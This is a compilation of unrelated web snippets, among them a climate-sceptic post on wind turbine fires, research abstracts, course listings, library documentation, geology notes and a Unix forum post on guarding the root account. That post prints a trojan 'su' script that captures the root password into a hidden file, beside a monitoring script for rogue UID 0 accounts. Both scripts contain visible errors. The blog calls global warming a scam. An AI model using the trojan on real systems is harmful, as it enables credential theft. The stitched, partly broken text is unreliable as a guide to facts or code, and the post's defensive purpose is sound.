The shutdown is normally performed by 'feathering' the turbine blades so they do not turn. "In general the turbine blades will pitch out in high winds, keeping the turbines in idle mode," confirms a spokesman for the turbine's manufacturer, Vestas of Aarhus, Denmark.
Wind turbine fires are far from freak accidents as these video clips show:
in this clip a Danish turbnine suffers a break failure in a high wind
The Scottish wind turbine explosion was not a freak accident, the wind industry know their bird choppers have a major design defect, until the policians we elect put a stop to this stupidity the wind industry will continue to sell a sub standard product, all the while grabbing huge sums of tax payers money in Green taxation and subsidy.
In Britain there are plans to build another 30,000 of these useless symbols of the Great Global Warming Scam at a cost of £2 million per turbine.
You can gues who will be paying for this stupidity.
Posted on December 13, 2011, in Anthropogenic Global Warming, Church Of Climatology, Climate Change, Climate Disruption, Climategate, Climategate 2, COP17, Green Lies, Green Taxation, Renewables and tagged Wind Farms, Wind Turbine. Bookmark the permalink. 15 Comments.


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School of Engineering and Materials Science
Research Student Awards
PhD Thesis: Chemical coupling in biocomposites: surface modification of bioceramics creating chemically bound polymer composites with potential osteological applications
Author: PHILLIPS, Monisha
Supervisor(s): Ihtesham Rehman
The surface properties and activity of the inorganic phase, hydroxyapatite, were investigated. Synthesis and processing techniques including emulsion synthesis and freeze-drying, respectively were used to produce hydroxyapatite powders of increased surface area. It is proposed that this increased surface area may result in an increased availability of surface reactive (hydroxyl) groups that enhance interphase coupling (via covalent bonding).
Coupling of methacrylic acid, bisphosphonic acid and poly(vinyl phosphonic acid) [PVPA] with HA have been investigated and characterised using Fourier Transform Infrared Spectroscopy (FTIR). Although successful, the single functionality of bisophosphonic acid and PVPA lead to the development of a specifically tailored bifunctional allyl phosphonic acid [CH=CH2CHP(O)(OH)2], characterised using Nuclear Magnetic Resonance Spectroscopy (NMR). This bifunctionality allows for bonding to hydroxyapatite [via P(O)(OH)2] and polymers [via C=C].
The allyl phosphonic acid was applied in a "co-precipitation" reaction to form a calcium phosphate/allyl phosphonic acid "co-precipitate". The P=O and P-OH functional groups of the allyl phosphonic acid appear to replace a proportion of the phosphate groups in the calcium phosphate, as characterised by FTIR, FT Raman and solid state NMR. X-ray photoelectron spectroscopy (XPS) confirmed the presence of reactive groups (C=C), from the allyl phosphonic acid, on the surface of the co-precipitate.
Grafting of hydroxyethyl methacrylate (HEMA) to the surface of the reactive co-precipitate was confirmed, by FTIR, indicating that bonding had occurred between monomer and co-precipitate. Upon polymerisation of the grafted HEMA, a chemically bound poly(HEMA)-ceramic composite was formed.


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This unique training programme examines concepts, field-tested techniques and procedures and technical information concerning crime scene investigation.
Other topics covered include:
Crime scene health and safety issues.
In this outstanding programme you are taught how to lift evidence, especially blood from an object or person and prepare it for submission to a laboratory.
You will learn how to approach a crime scene so as to preserve evidence and not contaminate the scene.
This course tells you what a criminalist actually does and how samples of a suspect's hair can be microscopically compared with hair found on the victim.
Lesson 1 Crime Investigation
Lesson 2 First Officer at the Crime Scene
Lesson 3 Specialised Personnel at the Crime Scene
Lesson 4 Fingerprints and Palm Prints
Lesson 5 Trace Evidence and Miscellaneous Material
Lesson 6 Blood and Other Biological Evidence
Lesson 7 The Criminal Mind
Lesson 8 Firearms Examination
Lesson 9 Arson and Explosives
Lesson 10 Illicit Drugs and Toxicology
Lesson 11 Investigating Sexual Assault and domestic Abuse Crimes
Lesson 12 Burglary Investigation
Upon completion of this course you may take a final online examination. Full details of this examination are automatically sent to you at the end of the course. The examination costs €65 and is taken at home at your convenience. If you receive 70% or more in this examination you will receive an ITEC – Irish Training and Educational Centre Diploma.


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UNH research furthers sustainability science, scholarship, and creativity. It also facilitates critical conversations and collaborations at the boundaries of disciplines. We address issues of local and global concern, such as food system sustainability, water stewardship, ecosystem services, and integrated climate change adaptation and mitigation.
SIMAP is a simple, comprehensive, and affordable online tool for measuring, calculating, and reporting their carbon and nitrogen footprints.
UNH is a leader in conducting climate change research.
Climate change research
GHG Reporting FAQs contain general greenhouse gas (ghg) inventory questions.
GHG Reporting FAQs
Summer Sustainability Fellowships pair exceptional students from across the U.S. with partners in New England to work on transformative sustainability initiatives. Learn how past fellows put research into practice to create sustainable communities.


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Origin Address Space
- Physically the memory is distributed and is not contiguous.
- Node id is assigned at boot time
- Logically memory is a shared single contiguous address space, the virtual address space is 44 bits (16 TB)
- The program (compiler) uses the virtual address space.
- Translation from the virtual to the physical address space is by the CPU.
TLB = Translation Look-aside Buffer
Page size is configurable as 16 KB (default),
64 KB, 256 KB, 1 MB, 4 MB, 16 MB


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of 26 municipalities and regional governments in the Lower Mainland treaty negotiations).
New Relationship Trust Fund – In March 2006, the BC government enacted the New Relationship Trust Act as part of an overall initiative to start a new relationship between government and First Nations. The Trust holds a fund that is designed to provide First Nations with tools, training, and skills so they can participate in land and resource management as well as land use planning processes, and also to develop social, economic, and cultural programs for their communities. The independent Board of Directors is appointed by the First Nations Summit, Union of BC Indian Chiefs, the BC Assembly of First Nations, the First Nations Leadership Council, and the BC Government.
Union of BC Municipalities – On line Policy Documents and Initiatives for local governments and First Nations relating to Treaty, Governance, Memoranda and Protocols, and Building Relations.
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What are quilt patterns?
Quilt patterns are instructions or directions on how to produce a quilt that someone else has created. They're like plans or designs to create a quilt. Most quilt patterns have step-by-step instructions on how to create the quilt of interest. Most quilt patterns have a photo of the finished quilt and information, tips, and educational tidbits on special techniques needed to finish the quilt. Some patterns come with templates, usually a geometric design on a paper you can photocopy and cut out so that all of your pieces are the same shape and size.
There are my types of quilt patterns. They are generally broken into patchwork or pieced designs, applique, and wholecloth. Wholecloth patterns deal more with the threadwork and embroidery on a single large piece of cloth. Applique refers to the technique of cutting out a piece of cloth into a shape and stitching it on to another cloth. Applique patterns give you the templates to cut out the shapes and instructions on how to place them on your quilt. Patchwork or pieced quilt patterns are used mostly for piecing geometic shapes such as squares, rectangles, triangles, etc. together to form a block, and the block is repeated on the quilt. There are many patterns with a variety of combinations of these types of quilt patterns.
Before printed and published quilt patterns, women learned how to create a certain quilt by studying someone else's quilt block. A block is a small section of the design of a quilt pattern that is repeated to form the whole quilt. Some people collected many quilt blocks and shared them with neighbors to get ideas on how to create quilts.
Published quilt patterns have been around for about a century. Farm magazines published quilt patterns, tips, and news to increase readership among women. Newspapers then carried a quilt block or pattern in their publication. As more people started to read and share ideas through print in the industrial age, and as printing became an easier and more cost effective way to share ideas and illustrations, books containing quilt patterns came about, published by quilters.
Quilt pattens today are published by designers who create their own designs and patterns. Most patterns are sold in a three to ten page packet, one pattern for one quilt. Some designers publish several related patterns in one book. The Quilt Pattern Shoppe takes advantage of the Internet and the digital age to share quilt patterns in an electronic format, allowing you to get the greatest patterns from talented designers without needing to make a trip to the store -- and to get the pattern immediately after your purchase without needing to wait for the mail delivery man.


grammar-combinators-0.2.3: A parsing library of context-free grammar combinators.
class (Show (ConcreteToken t), Eq (ConcreteToken t), Lift (ConcreteToken t), Eq t, Show t, Ord t, Lift t, Enumerable t) => Token t whereSource
The Token class identifies a type that can be used as terminal identifier in a grammar definition. The type t itself is an abstract identifier, identifying a certain type of terminals, but any value of type t can correspond to a possibly infinite numer of values of type 'ConcreteToken t'. For example, if you use a lexer in a simple arithmetic expressions grammar, your lexer would typically return values like PLUS, MINUS, but also 'INTEGER 42' when a number is lexed. In this case, a separate Token type t would be defined, such that a value INTEGER_T of the Token type t could correspond to all values of the form 'INTEGER n' (for n an Integer) of type 'ConcreteToken t'. A production rule defined as token INTEGER_T would then produce result values of type ConcreteToken t (e.g. INTEGER 42).
The requirements on Token types are relatively strict, but this is necessary to make it usable in table-based parser algorithms. We reference the Lift class to allow for compile-time precalculation of tables using Template Haskell (See the LL1 and RealLL1 parsers).
Note that in some cases it is inefficient to use Char directly as token type, because of the big amount of tokens. For example when using transformLeftCorner, the new domain will contain O(n*t + n^2) non-terminals where n is the amount of non-terminals and t is th number of tokens, so when using this transformation, it is beneficial to use a token type with less token values than Char, at least if you will use algorithms that fold over the full new grammar's domain (e.g. printGrammar does, printReachableGrammar doesn't).
Associated Types
type ConcreteToken t Source
classify :: ConcreteToken t -> tSource
The classify function classifies a given ConcreteToken t into the value of type t it is represented by.
enumConcreteTokens :: t -> [ConcreteToken t]Source
The enumConcreteTokens function returns a (possibly infinite) list of all concrete tokens of type 'ConcreteToken t' corresponding to a given token of Token type t


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More Than 475 Free MCAT Questions with Detailed Answers!
MCAT Question A Day - 9/15/14 - Answer!
In a synovial joint. the purpose of the synovial fluid is to:
A. reduce friction between bone ends.
B. keep bone cells adequately hydrated.
C. occupy space until the bones of the joint complettheir growth.
D. maintain a rigid connection between two flat bones.
A is correct. Synovial fluid acts as a lubricant, decreasing friction between the ends of the bones as they move. Bone cells receive circulation to keep them adequately hydrated; they do not need synovial fluid for this purpose. B is out. Synovial fluid persists in adults, after bones have stopped growing, so we know C is wrong. Synovial fluid is found in synovial joints, which allow movement. Its purpose is not to prevent movement. D is out.


shore.
 The Ercall is a small hill on the north east side of the Wrekin. It is significant in that the unconformable junction between the Precambrian igneous rocks and the basal Cambrian sediments is well exposed in the old quarries. About 560 Ma the Uriconian lavas of the Ercall were intruded by a large mass of granophyre; this is a type of pink granite formed mainly of quartz and orthoclase feldspar. However, banked up against the granophyre are the basal Cambrian sediments known as the Wrekin Quartzite. Since the Cambrian period began around 545 Ma the unconformity represents a time gap of at least some 15 million years. Quartzite is the term used for a metamorphosed sandstone but here the Wrekin quartzite is simply a quartz rich sandstone with a conglomerate at its base. It shows extensive ripple bedding indicative of shallow marine conditions and many of the pebbles in the basal conglomerate are of locally derived rhyolite, tuff and granophyre. The Cambrian shoreline must have surrounded the Precambrian volcanic island arc
 ANGLESEY. The oldest rocks in North West Wales are found in Anglesey and the Lleyn peninsula. These rocks of late Precambrian age are known as the Monian Group (at least 615 Ma) and they are well displayed at South Stack and Rhoscolyn on Holy Island off the west coast of Anglesey. The Monian Group contains turbidite sandstones, volcanic ash and pillow lavas and a remarkable unit called the Gwna melange that is made up of a chaotic mixture of blocks and boulders some of which are several hundred metres across. This represents an enormous submarine slide down the continental slope known as an olistostrome. Pillow lavas are well exposed at Newborough on the south east side of Anglesey along the Menai Strait. Lava flows of this type represent submarine extrusions of basaltic lava that formed large globules or 'pillows' as they react with sea water. Much of the Monian sequence has been strongly metamorphosed into schist and gneiss and intensely folded during orogenesis at the end of Precambrian times when a subduction zone existed in NW Wales.
 ST.DAVID'S PENINSULA Using radiometric dating methods the oldest rocks in Pembrokeshire have been dated approximately 643 Ma in the late Precambrian; these occur as a faulted slice of an igneous intrusion that extends E-W through Johnston to the southern side of St. Bride's Bay. In the St. David's peninsula, the volcanic sequence is somewhat younger, around 610-575 Ma and this is intruded by the St. David's granophyre. Roch Castle, Plumstead Rocks and Maiden Castle are outcrops of rhyolite lava that has long been considered to be of late Precambrian age, but now it is assigned by the BGS to the Lower Ordovician.
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RCJC Mission Statement:
The mission of the Rural Crime and Justice Center is to conduct research, evaluation, training and training administration through a well-educated and experienced staff utilizing state of the art technology.
RCJC Vision Statement:
The vision of the RCJC is to serve as a credible source of knowledge and expertise regarding evaluation, research, and development of drug prevention and criminal justice related training initiatives that lasts for years to come.
RCJC Goals and Objectives:
- Seek grant solicitations that are in line with the mission and vision of RCJC.
- Continuously seek grant solicitations that will diversify future opportunities and sustain financial support.
- Explore new grant initiatives in a timely manner to capitalize on those that match the strengths of the RCJC organization.
- Be a recognized expert in the field of research and evaluation.
- Expand our current technology to efficiently and effectively meet our customers' needs.
RCJC Business Philosophy:
The Rural Crime and Justice Center provides timely and accurate research and evaluation through the use of proven methodology. Comprehensive reports of facts, findings and recommendations are produced by experienced writers that have a wide variety of education and expertise.
The Rural Crime and Justice Center has addressed and explored the unique characteristics of rural crime and deviance. We have provided classroom and satellite training (in partnership with local, many state, & federal agencies), conducted research on rural criminal justice issues, and provided education to the general public. Since our inception, we have been involved in additional federal, state, & local initiatives including:
- Rural Law Enforcement Education Project
- Nationwide Rural Area Law Enforcement Study
- Nationwide Police Pursuit Training Study
- Project Safe Neighborhood
- Rural Methamphetamine Education Project
- Domestic Violence Projects
- National Survey of Female Police Officers: Attitudes, Motivations, Perceptions, & Experiences
- POST Examination Project
- Justice and the Disabled
A University Center of Excellence


text: We demonstrate a novel motion correction of 3D magnetic resonance fingerprinting (MRF) using spiral projection k-space trajectory. The motion was corrected using rigid motion parameters extracted from a whole-brain navigator obtained every 7s of imaging. Firstly, we optimized the trajectory ordering in simulation and selected the acquisition scheme that allowed the best navigator for motion correction. Secondly, we applied this scheme to invivo data in healthy subjects scanned first without motion and then while performing a motion paradigm. Our motion correction improved the correlation of motion-corrupted data with motionless data by over 20% for both T1 and T2.


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May 6, 2008 Brain-training efforts designed to improve working memory can also boost scores in general problem-solving ability and improve fluid intelligence, according to new University of Michigan research.
"Considering the fundamental importance of fluid intelligence in everyday life and its predictive power for a large variety of intellectual tasks and professional success, we believe that our findings may be highly relevant to applications in education," U-M psychology researchers Susanne Jaeggi and Martin Buschkuehl concluded.
Many psychologists believe general intelligence can be separated into "fluid" and "crystalline" components. Fluid intelligence—considered one of the most important factors in learning—applies to all problems while crystallized intelligence consists of skills useful for specific tasks.
"Working memory and fluid intelligence both seem to rely on similar neural networks,'' Jaeggi said. "Our study does not permit us to know how long the training-gain persists. Longitudinal studies will be required to address that issue."
Previously, many psychologists believed the only way to increase fluid intelligence was through direct practice of the tests themselves, rather than by training. But the new findings show that multiple efforts designed to improve memory skills similarly improve fluid intelligence.
After initially giving subjects a standard test for fluid intelligence, the researchers gave subjects a series of training exercises designed to improve their working memory.
The training was given to four groups, who repeated the exercises for eight, 12, 17, or 19 days. After the training, the researchers re-tested the subjects' fluid intelligence.
Although the performance of untrained controls improved slightly, the trained subjects showed a significant performance improvement, which increased with time spent training.
"The more training, the more improvement in fluid intelligence," Jaeggi said.
The researchers suggest that the training exercises strengthened multiple "executive processes" in the brain that function in problem-solving, noting that fluid intelligence is usually seen as "robust against influences of education and socialization, and it is commonly seen as having a strong hereditary component."
The research is detailed in a recent article in the Proceedings of the National Academy of Sciences (PNAS).
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|Spend the time||outdoors|
All you need is a camera or a camera trap so that you can photograph African mammals. The quality of the photographs needs to be good enough to allow us to identify the animal in the image.
A handheld GPS device is useful, but not essential as we have a link to Google Maps on our website that allows citizen scientists to identify the location of their photographs.
|Help update the distribution records of African mammal species.|
|Add your recent photos of animals photographed in Africa.|
THE BROAD PICTURE: The aim of MammalMAP is to update the distribution records of all African mammal species. Through collaborations with professional scientists, conservation organisations, wildlife authorities and citizen scientists across Africa, we consolidate all reliable and identifiable evidence (camera trap records, photographs) of current mammal locations into an open-access digital database. The database software automatically generates online distribution maps of all recorded species which are instantly visible and searchable. The information consolidated within MammalMAP will not only yield crucial information for species conservation policies and landscape conservation policies, but provides an excellent platform for educating the public about African mammals and their conservation challenges.
WHY MAMMALMAP IS NECESSARY: In Africa, our knowledge of mammal distribution patterns is based largely on historical records. However, the last three centuries have seen extensive human-modification of African landscapes with the associated conversion, compression and fragmentation of natural land. With further land development presenting a likely reality for the future, the effectiveness of mammal conservation efforts depends on ecological records being updated so that they accurately reflect mammal distribution patterns in the 21st Century. With MammalMAP we plan to conduct these ecological updates over the coming years, by mapping the current distribution of mammal species (including marine mammals and small mammals) across Africa.
HOW MAMMALMAP CONTRIBUTES TO CONSERVATION: The conservation benefits of this research are multiple. First, the comparison of these updated distribution records with both historical and future records will enable the detection of species' distribution changes in response to human-related and climate-related habitat changes. These change detections will assist the guidance of continent-wide conservation policies and decision making processes. Second, the research will promote and facilitate interdisciplinary and international collaboration amongst scientists and conservation practitioners, with potential benefits to the advancement of conservation science. Finally, both the project input stage (data collection) and output stage (data dissemination) will offer interactive, dynamic and widely applicable education tools suitable for both formal and informal education sectors.
THE WHERE AND THE HOW OF MAMMALMAP: The area of interest for MammalMAP is the whole of Africa. To achieve this we collaborate with scientists, conservation organisations, wildlife authorities and citizen scientists across the continent. Our methods involve consolidating evidence of mammal occurrence in a given location (camera trap records, photographs and other reliable records) into a digital database hosted by the Animal Demography Unit (ADU) at the University of Cape Town. In time, we will use the records in the database to generate distribution maps for all recorded species, in the same way that the ADU has done for birds, reptiles, frogs and butterflies.


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CDC Releases New Guidance on Genetic Testing
For Immediate Release: June 11, 2009
Contact: CDC Media Relations, _PHONE_
The Centers for Disease Control and Prevention is releasing the first federal government recommendations to foster accuracy and appropriate use of molecular, or DNA-based, genetic tests.
The guidance, entitled "Good Laboratory Practices for Molecular Genetic Testing for Heritable Diseases and Conditions," addresses considerations for clinical and laboratory professionals that are important for achieving patient benefits and avoiding medical mistakes when molecular genetic tests are used. These include ensuring proper test method selection and test performance, as well as appropriate test result reporting, interpretation and use. The guidance also covers factors to consider before introducing new tests and what qualifications laboratory personnel should have to perform testing.
The recommendations are intended for use by clinical and public health professionals, and those evaluating laboratory practices and policies.
Molecular genetic testing is one of the most rapidly growing areas of laboratory testing in the United States. The number of genetic diseases and conditions for which tests are available has more than tripled from 423 in the past eight years to more than 1,300 today. The growth of direct-to-consumer testing – which is permitted in 37 states and often done without oversight – has raised additional concern about the potential misuse of genetic tests.
DNA-based genetic tests are used to help make decisions about patient care, such as whether patients have or may be at risk for a genetic disease such as cystic fibrosis or whether they may be prone to chronic diseases including cancer, diabetes and blood clotting disorders. Getting an accurate diagnosis influences a patient's course of treatment and how they deal with a disease or disease threat. Implementation of the genetic testing guidance can improve accurate diagnoses and ultimately ensure that patients and their doctors can make the best decisions for their health.
The report is under embargo until 12 p.m. ET today.
The new recommendations are available through the CDC's MMWR website at _URL_
- Historical Document: June 10, 2009
- Content source: Office of the Associate Director for Communication
- Notice: Links to non-governmental sites do not necessarily represent the views of the CDC.
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text:
Spanish translation of 'intrusive'
- [noise, presence]
Example Sentences Including 'intrusive'
The noise in the restaurant wasn't just intrusive, it was deafening.Yellow Bird
The necessary formalities had to be got out of the way, but they seemed intrusive to Autumn, names and ages incidental.Roses are for the Rich
The intrusive woman moved in on them, easily circumnavigating their turned backs.Somewhere East of Life
Trends of 'intrusive'
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'intrusive' in Other Languages
Translation of intrusive from the Collins English to Spanish Dictionary


text:
Background: Approximately 13% of women experience postpartum depression. Early recognition is one of the most difficult challenges with this mood disorder because of how covertly it is suffered.
Objectives: The purpose of this meta-analysis was to update the findings of an earlier meta-analysis of postpartum depression predictors that had synthesized the results of studies conducted mostly in the 1980s.
Method: A meta-analysis of 84 studies published in the decade of the 1990s was conducted to determine the magnitude of the relationships between postpartum depression and various risk factors. Using the software system Advanced Basic Meta-Analysis, effect sizes were calculated three ways: unweighted, weighted by sample size, and weighted by quality index score.
Results: Thirteen significant predictors of postpartum depression were revealed. Ten of the 13 risk factors had moderate effect sizes while three predictors had small effect sizes. The mean effect size indicator ranges for each risk factor were as follows: prenatal depression (.44 to.46), self esteem (.45 to. 47), childcare stress (.45 to.46), prenatal anxiety (.41 to.45), life stress (.38 to.40), social support (.36 to.41), marital relationship (.38 to.39), history of previous depression (.38 to.39), infant temperament (.33 to.34), maternity blues (.25 to.31), marital status (.21 to.35), socioeconomic status (.19 to.22), and unplanned/unwanted pregnancy (.14 to.17).
Conclusions: Results confirmed findings of an earlier meta-analysis and in addition revealed four new predictors of postpartum depression: self-esteem, marital status, socioeconomic status, and unplanned/unwanted pregnancy.


What Connect the Dots Flexiboards Can Teach Your Children?
What Connect the Dots Flexiboards Can Teach Your Children?
Yuriy RubanikJanuary 15, 2020
At Smarty Dots, we want to help you improve upon the cognitive skills development of your children. We do so by providing you with fun connect the dots flexiboards, which are better than traditional whiteboards, that help nurture a sincere interest in learning under the guise of playtime. Kids love getting to draw things, particularly if they can never run out of space. That has made dry erase our chosen approach. How can this teach kids new concepts? Here's a quick guide.
Blank Dry Erase With A Trace Glueless Transparent Flexiboard
Letters and Numbers
ABCs and 123s are the basis for all sorts of aspects of our everyday lives. We perceive our world, our communication with others, and our own selves by way of letters and numbers, so it's very important to ensure that your kid has the right tools to develop a proper understanding of these. That is why our connect the dots flexiboards are available with patterns for numbers and letters (uppercase and lowercase) so that kids can practice these, while also enjoying a high degree of interactivity and creativity with the task. Kids tend to wander off the moment they realize they are being formally taught something, so these flexiboards give them the sense that they are actually playing, as they learn vital life skills.
Music Bases
Every parent wants to cultivate musical skills in their children. It's like wanting them to grow up to be a doctor, everyone wants their kids to be able to play musical instruments. Music is, simply put, a life skill that never fails to be important. That is why so many parents make sure that their kids are exposed to music at an early age and sign them up for lessons as soon as possible. A great way to complement their musical journey is to provide them with musical information they can actually interact with in a way they understand. A dry-erase music staff for them to practice writing and reading music will encourage them to learn music beyond their lessons, as well as provide them with a useful tool during the lessons themselves.
World Map Dry Erase With A Trace Glueless Transparent Flexiboard
You'd be surprised (or maybe not) at how much a kid can actually enjoy a map, especially one with which they can actually interact with and play with. A quest-like approach to learning geography, one in which kids can go over the different countries of the world themselves, is the perfect way to nurture that interest in the physical world that will be key in them wanting to learn more about it. Our Smarty Dots world map will be the best way to do so!
Connect the Dots Flexiboards
The interactive aspect of Smarty Dots connect the dots flexiboards can help kids remain focused on their own learning by making the task interesting, inviting, and exciting. By browsing through our varied selection, you will be able to find all sorts of interesting new ways for your children to keep learning beyond the classroom.
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Protecting the root account at all costs on Unix Systems.
In my opinon the root account is the single most important thing on any Unix machine, regardless of the data that may be on the machine.
Once it has been compromised there is always uncertainty about the integrity of the system. I have just a couple of suggestions here for those of you who run Unix ( this includes Linux ofcourse).
There are quite a few neat little things that we can do to help ourselves as administrators to protect the root account. I am only listing a few here, but perhaps it will spark some good discussion from your experiences on other methods.
1. The su command
su is an old favorite to attack in root-kits on Unix machines. Essentially it can be trojaned with something
* extra * often to cat or redirect the root password to another file. Let me begin by showing a simple example
of how such an exploit could be carried out.
This is a very simple shell script that would upon execution simulate the real command su to capture the root
password and redirect it to an inconspicous file.
#! /bin/bash
stty -echo
echo -n "Password:"
stty echo
echo "Sorry"
echo "$1 / $2: $PASSWD" >> /tmp/.text31337
'So, what does it do?... you ask.
Line 1: Define the shell being used. (using bash as an example on a Linux machine)
Line 3: Turn off the echoing of characters to STDOUT.
Line 5: Simulate a login session by asking for a password.
Line 6: Read the typed passwd into the variable $PASSWD.
Line 9: Turn the echoing back on so characters are sent to STDOUT.
Line 10: Simulate a wrong password being entered.
Line 12: Write the root account name if specified and the password entered to an inconpicuous filename
in this case, a hidden file in /tmp named.text31337
Now suppose mr. Ev1L h4x0r has named this script su and placed it in root's $PATH.
example output: (legitimate user with su password attempting to become root)
$ su root
and ofcourse if we were to cat out /tmp/.text31337 it would say
root / 'root password'
And so I would suggest using the full path to su whenever using it. The real su is almost always in /bin. If
you run Linux, I also recommend doing a chattr +i on /bin/su so that the file is immutable i.e. Can not be
modified - deleted - or overwritten. Unfortunatley chattr and lsattr are limited to Linux at the moment so this
is not an option for users of other Unix types. Linux users see 'man chattr' and 'man lsattr' for more details.
example usage:
$ /bin/su
( the method I like)
$ su
(also correct, but possibly unsafe if there has been a root-kit placed on the system)
2. /etc/passwd Monitoring root in the Password file.
One of the truly great things for Sys-Admins who run Unix is the ability to do some nifty notification messages.
A file that I recommend that you monitor regularly is /etc/passwd. On most Unix's this does not contain the
actual passwords of users, that is typically stored in /etc/shadow, I am interested in /etc/passwd because I can
monitor User ID's (form here on called UID's) for anyone other than root that has a UID of 0. A UID of 0 * is *
the same thing as root.
An attacker who wants to root your box must obtain UID 0 to accomplish this. There are many methods that
have been used to gain root on a Unix box. Often they do not actually obtain the root account itself, but the
UID 0 which is the same thing, but with an inconspicous name like 'operator' or some other normal looking
or legitimate user on the system to avoid suspicion.
If someone does root your Unix box, the best thing you can hope for is to learn of it early enough to take the
system off-line and examine the extent of the access/damage and how the access was gained. Although I
hope that you never get this email, I have prepared a shell script that you can run from cron to check for
UID's other than root and get an early start on your damage control efforts.
#! /bin/bash
for id in 'awk 'FS=":" {if(($3 == 0 && $1!= "root" )) \
pritnt $1}'/etc/passwd'
mail -s "Root Access Alert" << EOF
* Alert! Login ID 'echo ${id}' has UID 0 *
* 'date "+Detected On Date :%D Time :%r"' *
'So what does all that mean?' ask.
Line 1: In the /etc/passwd file, begin searching in the third field for UID 0, if the UID is 0 check the first
field to see if the ID is root. If the ID is root, continue checking starting at the next line in the UID
field. If the UID is 0 and the ID is * not * root......
Line 4: Mail with the subject "Root Access Alert" and the values in the banner.
Example email.
Sent: Saturday, December 23 2001 23:15
Subject: Root Access Alert
* Alert! Login ID UberC0der has UID 0 *
* Dectected On Date :12/23/01 Time :11:47:32 PM *
I would recommend running this as a cron job. I put this in /root named access-alert and chmod it so
that cron can run it.
example cron entry:
_TAG_ -e
(edit the crontab for root)
30 * * * * /root/access-alert /dev/null 2>&1
Please consult 'man crontab' if you need help with this.
If you would rather have the "Root Access Alert" message printed to the console instead of being emailed
to you, simple change Line 4 (mail -s "Root Access Alert" << EOF) to this:
cat << EOF > /dev/console
I will end this post here, I realize that is a lot of stuff to read. Any input you have is appreciated.
We need more security in the *nix forums methinks.
Merry Christmas everyone.


text: As a typical multilinear dimensionality reduction (DR) method, tensor locality preserving projection (TLPP) has been successfully applied in many practical problems. However, TLPP depends mainly on preserving its local neighbor graph which often suffers from the following issues: (1) the neighbor graph is constructed with the Euclidean distance which fails to consider the relationships among different coordinates for tensor data; (2) the affinity matrix only focuses on the local structure information of samples while ignoring the existing label information; (3) the projection matrices are nonorthogonal, thus it is difficult to preserve the local manifold structure. To address these problems, a multilinear DR algorithm called optimal neighbor graph-based orthogonal tensor locality preserving projection (OG-OTLPP) is proposed. In OG-OTLPP, an optimal neighbor graph is first built according to tensor distance. Then the affinity matrix of data is defined by utilizing both the label information and the intrinsic local geometric properties of the data. Finally, in order to improve the manifold preserving ability, an efficient and stable scheme is designed to iteratively learn the orthogonal projections. We evaluate the proposed algorithm by applying it to image recognition. The experimental results on five public image databases demonstrate the effectiveness of our algorithm.


text:
It Waits for You
Paul David Walker
This book can be downloaded and read in Apple Books on your Mac or iOS device.
Paul David Walker often says, "The job of a poet is to travel into the unknown and come back and make a report." These poems are his reports, both deeply personal and full of mystery. These poems "come to" Paul and are written to create a personal exploration of what is deep in our hearts, yet unknown, or may have been glimpsed and forgotten. Paul makes sense of the relationship between heaven and earth, light and darkness, our fears and connection with the divine. In the author's words, these poems are meant to "leap up out of readers like laser beam lamps reaching into the dark sky."


The practice of earning interest income on a customer's money is widespread over many industries. Whenever a consumer buys a gift card, purchases a monthly transit ticket, or takes out an insurance policy, the receiving company gets to invest the funds, or "float", until it has to supply the products or services that the consumer bought. In essence, the float is really like an interest-free loan that a company uses to produce investment income.
In the case of the insurance industry, the float is the money that an insurance company gets to hold onto between the time customers pay premiums and the time they make claims on their policies. In fact, this collect-now, pay-later model is central to the way the insurance industry operates. No matter if a company generates an underwriting profit or loss from its core business, it can still earn investment income from the float. Perhaps the most famous example of the float is Warren Buffett's insurance holding company, Berkshire Hathaway (BRKA), which had a float of $62 billion at the end of 2009. Since an insurer's float can be significant sources of revenues and profits, companies are sometimes accused of deliberately stretching out claims processing to increase the size of the float. The level of interest rates is very important, because a company can earn more interest income on its float when rates are high than when rates are low. Regardless of interest rates, however, the positive impact of investing the float can be material.
Another industry group that benefits from the float is the payroll processing segment of the computer outsourcing industry, which includes Automatic Data Processing (ADP) and Paychex (PAYX). The Employer Services unit of ADP earns interest income on the float that is created by the lag between payroll deductions, the payment of taxes, and the issuance of pay checks. At the end of 2009, ADP's balance sheet held $21.4 billion of these client funds, which are invested with safety of principal, liquidity, and diversification as the primary goals. Secondarily, the company seeks to maximize interest income and to minimize volatility. Typically, about 85% of the funds are invested in U.S. Treasury and government agency securities with a maximum maturity of ten years.
ADP utilizes a laddering strategy to extend the maturities of its investment portfolio, and employs short-term financing arrangements to satisfy short-term funding requirements. This strategy allows ADP to average its way through an interest rate cycle, thus reducing fluctuations in yield. During the December 2009 quarter, the investment portfolio had a yield of 3.8%, versus 4.2% in the year-earlier period. Those figures compare to average yields of 4.0% in fiscal 2009 (ended July), 4.4% in fiscal 2008, and 4.5% in 2007. The laddering strategy exposes the company to interest rate risk as proceeds from maturing securities are reinvested. Recent results at ADP show how lower yields can lead to lower income. During the December 2009 quarter, interest income on funds held for clients dropped 13%, year to year. The impact of rate changes is also affected by the overall portfolio mix between short-term and long-term investments. Of course, when lower rates reduce portfolio yields, they also decrease interest costs on short-term debt. In the six months ended December 2009, the interest rate on U.S. commercial paper borrowings was 0.2%, versus 1.4% in the prior-year period.
In summary, the float is an important source of incremental profit for payroll processors like ADP and insurance companies like Berkshire Hathaway, as well as retailers, transit authorities, and many other kinds of businesses. Investors should understand the concept when examining certain industries. Moreover, keen attention should be given to what is being done with these assets before initiating a position in a company that benefits from the float.


text:
Can you use -なくて instead of -ないで in the following sentence, keeping the same meaning? What's the difference between ないで and なくて?
Peter Sells (1995) calls ないで as verbal gerund and なくて as adjectival gerund. When you have participial constructions, they do not make difference, but Sells notices that only the verbal gerund can be selected by an auxiliary verb:
Similarly to that, when you want to use these forms adverbially as in your examples, you have to use ないで. You cannot replace it with なくて. If you do so, they would be interpreted as participial constructions.
Other than that, I do not know of a difference.
Sells, Peter (1995) "Korean and Japanese Morphology from a Lexical Perspective" Linguistic Inquiry 26.2 MIT Press


What City Observatory did this week
Must read
1. Why Detroit (and other cities) need more gentrification and congestion. Michigan Future's Lou Glazer has a provocative essay arguing that Detroit and other struggling cities would actually benefit from more gentrification and congestion. In a word, both phenomena are indicators that there's growing demand for urban space, and for struggling cities, its the lack of demand that underlies poverty and a range of other problems. While it seems counterintuitive to some, higher rents and more traffic are correlates of a robust economy. As Glazer argues:
What people don't think about is that for both gentrification and congestion the positives far outweigh the negatives. The reason I continue to make the case that Detroit––really all Michigan cities––need more gentrification and congestion is both are signs of demand. People wanting to live and work there and business wanting to locate there. Successful communities (whether it is a neighborhood, community or region) are places with high demand. Places with low demand are some combination of declining and distressed.
New Knowledge


text:
